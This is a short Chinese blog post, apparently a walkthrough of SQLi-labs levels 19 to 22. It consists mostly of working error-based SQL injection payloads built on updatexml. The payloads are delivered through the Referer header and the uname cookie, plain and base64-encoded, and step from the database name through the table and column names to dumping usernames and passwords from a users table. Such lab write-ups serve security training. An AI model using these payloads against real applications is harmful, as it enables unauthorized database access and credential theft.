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  • SQLi-19~22关

     其实漏洞写得很明确了,Referer存在漏洞

    Referer:1' and '1'='1--+

    Referer:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1  #数据库

     

     Referer:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 3,1),0x7e),1) and '1'='1

     Referer:1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 4,1),0x7e),1) and '1'='1

    Referer:1' and updatexml(1,concat(0x7e,(select concat_ws('~',username,password) from users limit 0,1),0x7e),1) and '1'='1

    二十关 

    一样的闭合点,cookie注入.

    uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1  #数据库

    Cookie: uname=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) and '1'='1  #数据表

    Cookie: uname=admin' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) and '1'='1  #数据字段

    Cookie: uname=admin' and updatexml(1,concat(0x7e,(select concat_ws('~',username,password) from users limit 4,1),0x7e),1) and '1'='1

     二十一关

     

     base64转码操作...

    admin' and '1'='1  #闭合成功

     uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE  #数据库

     uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGxpbWl0IDMsMSksMHg3ZSksMSkgYW5kICcxJz0nMQ==  #数据表

     YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGxpbWl0IDQsMSksMHg3ZSksMSkgYW5kICcxJz0nMQ==  #字段

     Cookie: uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbmNhdF93cygnficsdXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMgbGltaXQgNCwxKSwweDdlKSwxKSBhbmQgJzEnPScx  #数据

    二十二关

    和二十一关的区别是点引号和双引号

     差点让我以为是二十一关

    admin" and "1"="1

    YWRtaW4iIGFuZCAiMSI9IjE=

     闭合成功

    admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1  #库

    admin" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and "1"="1  #表

    admin" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1) and "1"="1  #字段

    admin" and updatexml(1,concat(0x7e,(select concat_ws('~',username,password) from users limit 0,1),0x7e),1) and "1"="1  #数据

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  • 原文地址:https://www.cnblogs.com/llcn/p/12750024.html
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